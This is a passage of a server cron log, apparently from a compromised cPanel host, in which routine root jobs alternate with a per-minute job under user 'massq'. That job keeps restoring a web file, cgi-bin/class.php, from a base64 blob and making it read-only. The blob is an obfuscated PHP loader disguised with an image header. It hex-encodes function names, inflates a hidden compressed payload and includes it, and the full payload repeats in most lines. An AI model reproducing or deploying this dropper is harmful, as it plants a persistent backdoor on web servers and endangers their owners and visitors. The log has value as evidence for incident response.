B6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:27:01 server CROND[5187]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 00:28:01 server CROND[5888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:28:01 server CROND[5887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:28:01 server CROND[5889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:29:01 server CROND[6254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:29:01 server CROND[6256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:29:01 server CROND[6255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:30:01 server CROND[6641]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 00:30:01 server CROND[6647]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 00:30:01 server CROND[6648]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 00:30:01 server CROND[6654]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:30:01 server CROND[6653]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  9 00:30:01 server CROND[6658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:30:01 server CROND[6662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:30:01 server CROND[6656]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:30:01 server CROND[6659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:31:01 server CROND[7559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:31:01 server CROND[7560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:31:01 server CROND[7561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:32:01 server CROND[7933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:32:01 server CROND[7934]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:32:01 server CROND[7935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:33:01 server CROND[8314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:33:01 server CROND[8316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:33:01 server CROND[8315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:34:01 server CROND[8894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:34:01 server CROND[8895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:34:01 server CROND[8896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:35:01 server CROND[9290]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 00:35:01 server CROND[9292]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 00:35:01 server CROND[9295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:35:01 server CROND[9300]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 00:35:01 server CROND[9303]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 00:35:01 server CROND[9304]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:35:01 server CROND[9308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:35:01 server CROND[9306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:35:01 server CROND[9307]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:36:01 server CROND[10188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:36:01 server CROND[10190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:36:01 server CROND[10191]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:37:01 server CROND[10585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:37:01 server CROND[10586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:37:01 server CROND[10587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:38:01 server CROND[11058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:38:01 server CROND[11059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:38:01 server CROND[11060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:39:01 server CROND[12058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:39:01 server CROND[12059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:39:01 server CROND[12057]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 00:39:01 server CROND[12060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 